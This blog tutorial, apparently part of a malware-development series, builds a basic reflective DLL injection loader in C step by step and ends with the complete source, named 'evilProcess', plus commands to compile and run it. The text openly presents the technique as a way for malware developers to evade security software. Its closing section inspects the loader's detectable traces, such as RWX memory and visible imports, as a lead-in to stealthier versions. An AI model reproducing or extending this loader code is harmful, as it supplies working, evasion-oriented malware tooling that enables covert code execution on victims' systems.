Our Custom Loader
Basic Custom Loader
Creating custom loaders using techniques like Reflective DLL Injection (RDI) and shellcode Reflective DLL Injection (sRDI) is essential for security researchers and malware developers. These techniques help evade detection by security software and prolong the lifespan of malware variants. Unique implants are harder to detect and analyze, enhancing their effectiveness. Mastering loader development with methods like RDI/sRDI loading is vital for staying ahead in the field.
Table of Contents
- prerequisites
- DLL creation
- Our own DLL Loader
- step 1: DLL file reading
- Step 2: PE header Parsing
- step 3: Memory Allocation in Target Process
- step 4: Loader relocation fixups
- step 5: Loader imports
- step 6: Loader entry point transformation
Basic Loader
Creating custom loaders using techniques like Reflective DLL Injection (RDI) and Stealth Reflective DLL Injection (sRDI) is essential for security researchers and malware developers. These techniques help evade detection by security software and prolong the lifespan of malware variants. Unique implants are harder to detect and analyze, enhancing their effectiveness. Mastering loader development with methods like RDI/sRDI loading is vital for staying ahead in the field.
- prerequisites
- Reflective DLL Injection (RDI) and Shellcode Reflective DLL Injection (sRDI) are used by attackers to inject DLLs or shellcode into processes without traditional methods.
- RDI was introduced by Stephen Fewer in 2009, while sRDI was presented by Adam Chester at the 2016 DerbyCon conference.
- Both techniques enable stealthy loading of malicious code by leveraging reflective loading capabilities, bypassing standard injection detection mechanisms.
- Understanding the PE file format and Windows loading process is crucial to grasp these techniques effectively
- DLL creation:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
#include <windows.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL, "Hello, World!", "OTE", MB_OK); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } // compile the c file called msg.c //gcc -shared -o custom_msg.dll msg.c '-Wl,--subsystem,windows' //rundll32 custom_msg.dll DllMain
- Our Own Loader (RDI)
after the creation of the DLL now we have the time to develop our own loader. first we have to open our IDE vscode and create a new project called myLoader, inside the myLoader folder create a Basic DLL injection using injection_dll.c- step 1:
read the dll from the file ….1 2 3 4 5
HANDLE dll = CreateFileA("\\??C:\\Development\\OTE22_BLOGS_MALDEV\\C CODE BLOG\\myloader\\custom_msg.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); DWORD64 dll_size = GetFileSize(dll, NULL); LPVOID dll_bytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dll_size); DWORD out_size = 0; ReadFile(dll, dll_bytes, dll_size, &out_size, NULL);
- Explanation of the system calls for the step 1
- CreateFileA:
- Purpose: Opens or creates a file .
- Parameters:
"\\??C:\\Development\\OTE22_BLOGS_MALDEV\\C CODE BLOG\\myloader\\custom_msg.dll"
: The path to the file to open.\\??\\
is a DOS device namespace that refers to the global root directory.GENERIC_READ
: Desired access to the file, in this case, read access.0
: Share mode, which specifies how other processes can access the file (in this case, no sharing).NULL
: Security attributes (not used in this case).OPEN_EXISTING
: Action to take if the file exists (in this case, open the file).0
: File attributes (not used in this case).NULL
: Handle to a template file (not used in this case).
- Returns: A handle to the file if successful, or
INVALID_HANDLE_VALUE
if unsuccessful.
- GetFileSize:
- Purpose: Retrieves the size of the specified file.
- Parameters:
dll
: Handle to the file obtained fromCreateFileA
.NULL
: Pointer to a variable to receive the high-order 32 bits of the file size (not used in this case).
- Returns: The low-order 32 bits of the file size.
- HeapAlloc:
- Purpose: Allocates a block of memory from a heap.
- Parameters:
GetProcessHeap()
: Handle to the default process heap.HEAP_ZERO_MEMORY
: Flags that specify the allocation attributes (in this case, to zero-initialize the allocated memory).dll_size
: Size of the memory block to allocate, obtained fromGetFileSize
.
- Returns: A pointer to the allocated memory block if successful, or
NULL
if unsuccessful.
- ReadFile:
- Purpose: Reads data from a file, starting at the position indicated by the file pointer.
- Parameters:
dll
: Handle to the file obtained fromCreateFileA
.dll_bytes
: Pointer to the buffer that receives the data read from the file, obtained fromHeapAlloc
.dll_size
: Number of bytes to read from the file, obtained fromGetFileSize
.&out_size
: Pointer to a variable that receives the number of bytes read (not used in this case).NULL
: Pointer to anOVERLAPPED
structure (not used in this case).
- Returns:
TRUE
if successful,FALSE
otherwise.
- Explanation of the system calls for the step 1
- step 2:
PE header of the file is parsed inorder to extract important information if you are not familiar with the PE structure of the windows executable i highly recommend watching the amazing vedios from this youtube channel1 2 3
PIMAGE_DOS_HEADER dos_headers = (PIMAGE_DOS_HEADER)dll_bytes; PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)((DWORD_PTR)dll_bytes + dos_headers->e_lfanew); SIZE_T dllImageSize = nt_headers->OptionalHeader.SizeOfImage;
Explanation of the step 2
Let’s break down what each line of code does:PIMAGE_DOS_HEADER dos_headers = (PIMAGE_DOS_HEADER)dll_bytes;
:- Purpose: This line casts the
dll_bytes
pointer to a pointer to aIMAGE_DOS_HEADER
structure. - Explanation: It assumes that the
dll_bytes
pointer points to the beginning of the memory block containing the DLL file’s contents. TheIMAGE_DOS_HEADER
structure is the DOS header of a PE (Portable Executable) file, which includes information about the DOS executable format.
- Purpose: This line casts the
PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)((DWORD_PTR)dll_bytes + dos_headers->e_lfanew);
:- Purpose: This line calculates the address of the
IMAGE_NT_HEADERS
structure within the DLL image. - Explanation: It adds the offset specified by
e_lfanew
in theIMAGE_DOS_HEADER
structure to the base address ofdll_bytes
. This offset points to the beginning of the PE header (PE signature) in the DLL image. Then, it casts the resulting pointer to a pointer toIMAGE_NT_HEADERS
structure. TheIMAGE_NT_HEADERS
structure contains information about the PE format, including the Optional Header.
- Purpose: This line calculates the address of the
SIZE_T dllImageSize = nt_headers->OptionalHeader.SizeOfImage;
:- Purpose: This line retrieves the size of the DLL image from the Optional Header.
- Explanation: It accesses the
SizeOfImage
field in the Optional Header of theIMAGE_NT_HEADERS
structure. This field specifies the size of the image, including all headers, sections, and alignment padding. It represents the size of the DLL file when loaded into memory.
So, step 2 parse the headers of the DLL file in memory and extract relevant information, such as the DOS header, the PE header, and the size of the DLL image when loaded into memory.
- step 3:
1 2 3 4 5 6 7 8 9 10 11 12
LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase; memcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders); PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) { LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dll_base + (DWORD_PTR)section->VirtualAddress); LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dll_bytes + (DWORD_PTR)section->PointerToRawData); memcpy(sectionDestination, sectionBytes, section->SizeOfRawData); section++; }
Explanation of the step 3:
Let’s go through each line of code:LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
:- This line allocates memory for the DLL image at the preferred base address specified in the Optional Header of the PE file.
VirtualAlloc
is used to allocate memory in the process’s address space.ntHeaders->OptionalHeader.ImageBase
is the preferred base address of the DLL image.dllImageSize
is the size of the DLL image.MEM_RESERVE | MEM_COMMIT
flags are used to reserve and commit memory simultaneously.PAGE_EXECUTE_READWRITE
specifies the protection of the memory region as executable, readable, and writable.
DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;
:- This line calculates the delta (offset) between the actual base address allocated by
VirtualAlloc
and the preferred base address specified in the Optional Header. - This delta value will be used to adjust the virtual addresses of sections and relocations.
- This line calculates the delta (offset) between the actual base address allocated by
memcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);
:- This line copies the headers of the DLL image into the allocated memory.
dllBase
is the destination buffer.dllBytes
is the source buffer containing the DLL image.ntHeaders->OptionalHeader.SizeOfHeaders
is the size of the headers.
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
:- This line gets a pointer to the first section header in the PE file.
IMAGE_FIRST_SECTION
macro calculates the address of the first section header in memory based on the base address of the PE headers.
for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) { ... }
:- This loop iterates over each section in the PE file.
ntHeaders->FileHeader.NumberOfSections
specifies the total number of sections in the PE file.
LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress);
:- This line calculates the destination address in the allocated memory for the current section.
- It adjusts the virtual address of the section by adding the deltaImageBase.
memcpy(sectionDestination, sectionBytes, section->SizeOfRawData);
:- This line copies the raw data of the current section from
dllBytes
to the allocated memory. sectionBytes
is the source buffer containing the raw data of the section.section->SizeOfRawData
is the size of the raw data of the section.
- This line copies the raw data of the current section from
Thus in step 3 we allocate memory for the DLL image, copy the headers and sections into the allocated memory, and adjust the virtual addresses of sections based on the deltaImageBase. This effectively maps the DLL image into the process’s address space.
- step 4:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dll_base; DWORD relocationsProcessed = 0; while (relocationsProcessed < relocations.Size) { PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed); relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK); DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY); PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed); for (DWORD i = 0; i < relocationsCount; i++) { relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY); if (relocationEntries[i].Type == 0) { continue; } DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset; DWORD_PTR addressToPatch = 0; ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dll_base + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL); addressToPatch += deltaImageBase; memcpy((PVOID)((DWORD_PTR)dll_base + relocationRVA), &addressToPatch, sizeof(DWORD_PTR)); } }
Explanation of the step 4
Let’s break down this code:IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
:- Retrieves the Base Relocation Table directory entry from the Optional Header of the PE file.
DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dll_base;
:- Calculates the address of the Base Relocation Table in the allocated memory.
DWORD relocationsProcessed = 0;
:- Initializes a counter to keep track of the processed relocation entries.
while (relocationsProcessed < relocations.Size) { ... }
:- Iterates over each relocation block in the Base Relocation Table until all entries are processed.
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
:- Retrieves a pointer to the current relocation block.
DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
:- Calculates the number of relocation entries in the current relocation block.
for (DWORD i = 0; i < relocationsCount; i++) { ... }
:- Iterates over each relocation entry in the current relocation block.
if (relocationEntries[i].Type == 0) { continue; }
:- Skips relocation entries with a type of 0, which indicates an empty entry.
DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
:- Calculates the Relative Virtual Address (RVA) of the relocation entry within the DLL image.
ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dll_base + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
:- Reads the original value at the address to be patched in the relocated image.
addressToPatch += deltaImageBase;
:- Adjusts the original address to account for the deltaImageBase.
memcpy((PVOID)((DWORD_PTR)dll_base + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
:- Writes the patched address back to the relocated image.
step 4 iterates over the Base Relocation Table, applies relocations to adjust absolute addresses in the DLL image, and updates them with the correct values based on the deltaImageBase. This ensures that the DLL image can execute properly at its new base address in the process’s address space.
- step 5:
our own loader should perform any necessary imports which is a refernce function …..1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL; IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dll_base); PCHAR libraryName = ""; HMODULE library = NULL; while (importDescriptor->Name != 0) { libraryName = (PCHAR)importDescriptor->Name + (DWORD_PTR)dll_base; library = LoadLibraryA(libraryName); if (library) { PIMAGE_THUNK_DATA thunk = NULL; thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dll_base + importDescriptor->FirstThunk); while (thunk->u1.AddressOfData != 0) { if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) { LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal); thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal); } else { PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dll_base + thunk->u1.AddressOfData); DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name); thunk->u1.Function = functionAddress; } ++thunk; } } importDescriptor++; }
explanation of the step 5:
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
:- Declares a pointer to the import descriptor table.
IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
:- Retrieves the Import Directory Table data directory from the Optional Header.
importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dll_base);
:- Calculates the address of the import descriptor table in the allocated memory.
PCHAR libraryName = "";
:- Declares a pointer to store the name of the imported library.
HMODULE library = NULL;
:- Declares a handle to store the loaded library.
while (importDescriptor->Name != 0) { ... }
:- Iterates over each entry in the import descriptor table until reaching the null terminator.
libraryName = (PCHAR)importDescriptor->Name + (DWORD_PTR)dll_base;
:- Calculates the address of the library name in the allocated memory.
library = LoadLibraryA(libraryName);
:- Loads the library specified by
libraryName
into the process’s address space.
- Loads the library specified by
if (library) { ... }
:- Checks if the library was successfully loaded.
thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dll_base + importDescriptor->FirstThunk);
:- Retrieves a pointer to the first thunk in the import address table (IAT) for this library.
while (thunk->u1.AddressOfData != 0) { ... }
:- Iterates over each thunk in the IAT until reaching the null terminator.
if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) { ... }
:- Checks if the import is by ordinal.
LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
:- Retrieves the ordinal value of the imported function.
thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
:- Retrieves the address of the function by its ordinal and stores it in the IAT.
else { ... }
:- Handles the case when the import is by name.
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dll_base + thunk->u1.AddressOfData);
:- Retrieves a pointer to the imported function name.
DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
:- Retrieves the address of the function by its name.
thunk->u1.Function = functionAddress;
:- Stores the address of the function in the IAT.
++thunk;
:- Moves to the next thunk in the IAT.
importDescriptor++;
:- Moves to the next entry in the import descriptor table.
step 5 dynamically loads each imported library and resolves the addresses of imported functions, updating the Import Address Table (IAT) accordingly.
- step 6:
Finally , the loader transfers control to the executable’s entry point….1 2 3 4 5
DLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dll_base + ntHeaders->OptionalHeader.AddressOfEntryPoint); (*DllEntry)((HINSTANCE)dll_base, DLL_PROCESS_ATTACH, 0); CloseHandle(dll); HeapFree(GetProcessHeap(), 0, dll_bytes);
- Explanantions of the Final Step (6)
DLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dll_base + ntHeaders->OptionalHeader.AddressOfEntryPoint);
:- This line calculates the address of the entry point function (usually
DllMain
) within the loaded DLL image. ntHeaders->OptionalHeader.AddressOfEntryPoint
contains the RVA (Relative Virtual Address) of the entry point.(DWORD_PTR)dll_base
is the base address where the DLL is loaded into memory.(DLLEntry)
casts this address to the function pointer typeDLLEntry
.
- This line calculates the address of the entry point function (usually
(*DllEntry)((HINSTANCE)dll_base, DLL_PROCESS_ATTACH, 0);
:- This line calls the entry point function (
DllMain
) of the DLL. DllEntry
is a function pointer to the entry point function.(HINSTANCE)dll_base
is passed as thehinstDLL
parameter, representing the instance handle of the DLL.DLL_PROCESS_ATTACH
is passed as thefdwReason
parameter, indicating that the DLL is being loaded into the process’s address space.0
is passed as thelpvReserved
parameter, typically reserved and set to NULL.
- This line calls the entry point function (
CloseHandle(dll);
:- This line closes the handle to the DLL file.
dll
is the handle obtained fromCreateFileA
.
HeapFree(GetProcessHeap(), 0, dll_bytes);
:- This line frees the memory allocated for storing the DLL file contents.
GetProcessHeap()
retrieves the handle to the default process heap.dll_bytes
is the pointer to the allocated memory block.0
is the flags parameter (not used in this case).
Overall, step 6 finalize the DLL loading process by calling its entry point function, closing the handle to the DLL file, and freeing the memory allocated for storing the DLL file contents.
- Explanantions of the Final Step (6)
- Gathering All steps together:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
#include <windows.h> #include <stdio.h> typedef struct BASE_RELOCATION_BLOCK { DWORD PageAddress; DWORD BlockSize; } BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK; typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; USHORT Type : 4; } BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY; typedef BOOL (WINAPI *DLLEntry)(HINSTANCE dll, DWORD reason, LPVOID reserved); int main() { HANDLE dll = CreateFileA("\\??C:\\Development\\OTE22_BLOGS_MALDEV\\C CODE BLOG\\myloader\\custom_msg.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); DWORD64 dll_size = GetFileSize(dll, NULL); LPVOID dll_bytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dll_size); DWORD out_size = 0; ReadFile(dll, dll_bytes, dll_size, &out_size, NULL); PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dll_bytes; PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dll_bytes + dosHeaders->e_lfanew); SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage; LPVOID dll_base = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); DWORD_PTR deltaImageBase = (DWORD_PTR)dll_base - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase; memcpy(dll_base, dll_bytes, ntHeaders->OptionalHeader.SizeOfHeaders); PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders); for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) { LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dll_base + (DWORD_PTR)section->VirtualAddress); LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dll_bytes + (DWORD_PTR)section->PointerToRawData); memcpy(sectionDestination, sectionBytes, section->SizeOfRawData); section++; } IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dll_base; DWORD relocationsProcessed = 0; while (relocationsProcessed < relocations.Size) { PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed); relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK); DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY); PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed); for (DWORD i = 0; i < relocationsCount; i++) { relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY); if (relocationEntries[i].Type == 0) { continue; } DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset; DWORD_PTR addressToPatch = 0; ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dll_base + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL); addressToPatch += deltaImageBase; memcpy((PVOID)((DWORD_PTR)dll_base + relocationRVA), &addressToPatch, sizeof(DWORD_PTR)); } } PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL; IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dll_base); PCHAR libraryName = ""; HMODULE library = NULL; while (importDescriptor->Name != 0) { libraryName = (PCHAR)importDescriptor->Name + (DWORD_PTR)dll_base; library = LoadLibraryA(libraryName); if (library) { PIMAGE_THUNK_DATA thunk = NULL; thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dll_base + importDescriptor->FirstThunk); while (thunk->u1.AddressOfData != 0) { if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) { LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal); thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal); } else { PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dll_base + thunk->u1.AddressOfData); DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name); thunk->u1.Function = functionAddress; } ++thunk; } } importDescriptor++; } DLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dll_base + ntHeaders->OptionalHeader.AddressOfEntryPoint); (*DllEntry)((HINSTANCE)dll_base, DLL_PROCESS_ATTACH, 0); CloseHandle(dll); HeapFree(GetProcessHeap(), 0, dll_bytes); return 0; }
- To sum up:
It reads the DLL file into memory, allocates memory for the DLL image, and copies the DLL headers and sections into the allocated memory. Then, it adjusts absolute addresses in the DLL image using relocation information, ensuring that the DLL can execute properly at its new base address in the process’s address space. Next, it loads the required libraries, resolves the addresses of imported functions, and updates the Import Address Table (IAT) accordingly, allowing the DLL to call functions from other modules. After that, it calls the entry point function (DllMain
) of the DLL, passing necessary parameters such as the instance handle and the reason for the function call. Finally, it closes the handle to the DLL file and frees the memory allocated for storing the DLL file contents, ensuring proper resource management. With this loader, you have the capability to inject and execute arbitrary code within the context of another process, providing flexibility for various purposes, including debugging, monitoring, and, unfortunately, malicious activities.1 2 3 4
// compile our own loader gcc -o evilProcess injector_dll.c // run the executable and we have to see the msg is poped up ./evilProcess.exe
- To sum up:
- POC
- step 1:
- Note :
**This example works, but it’s a basic RDI injection without optimizations or obfuscation, and it wouldn’t be effective in most secure environments. To understand why, let’s analyze the current binary. ** - Memory Analysis using Hacker Process
- First, execute the binary (evilprocess.exe) and then open Process Hacker to inspect any suspicious regions containing RWX instructions as seen in the below image.
- As seen in the image above, there’s a RWX region in memory, indicating something suspicious occurring within the process. This issue needs addressing, along with other improvements, in the next version.
- First, execute the binary (evilprocess.exe) and then open Process Hacker to inspect any suspicious regions containing RWX instructions as seen in the below image.
- Examine the Import Directory section within the executable.
For this demonstration, we’ll utilize the PEBEAR tool from hasherazade repo. As observed in the image,
kernel32.dll
andmsvcrt.dll
import approximately 60 functions. The question arises: why are all these functions imported?kernel32.dll: This dynamic-link library provides essential system functions for managing memory, files, processes, and threads. It includes functions related to process creation, memory management, file I/O operations, synchronization, and error handling. For example, functions like
CreateProcess
,ReadFile
,WriteFile
,CreateThread
, andGetLastError
are part ofkernel32.dll
. Essentially, it serves as the interface between applications and the operating system, enabling them to interact with various system resources.msvcrt.dll: This library, often referred to as the Microsoft C Runtime Library, contains functions used by programs compiled with Microsoft Visual C++. It provides standard C library functions, such as memory allocation (
malloc
,free
), string manipulation (strcpy
,strlen
), input/output (printf
,scanf
), and math functions (sin
,cos
,sqrt
). Additionally, it handles exceptions and termination of programs.msvcrt.dll
is essential for C and C++ programs compiled with Microsoft compilers to run correctly on Windows.
In summary,
kernel32.dll
facilitates interaction with the Windows operating system, whilemsvcrt.dll
provides essential C runtime functions for programs compiled with Microsoft Visual C++.- Finally, let’s analyze the binary using strings.exe from the Sysinternals suite of tools.
The binary file contains 891 entries, and the image below displays a listing of some of them. The plain-text visibility of all functions in the output above poses a significant issue for any malware developer. To enhance the loader’s stealthiness, steps must be taken to address this.
The basic loader showcased lacks subtlety and demands refinement. Next, we’ll explore crafting a sophisticated Reflective DLL Injection (RDI) technique using advanced methods like the Windows Native API, obfuscated function pointers, and function name hashing.
Stay tuned for OTE’s upcoming blog series.
- credits: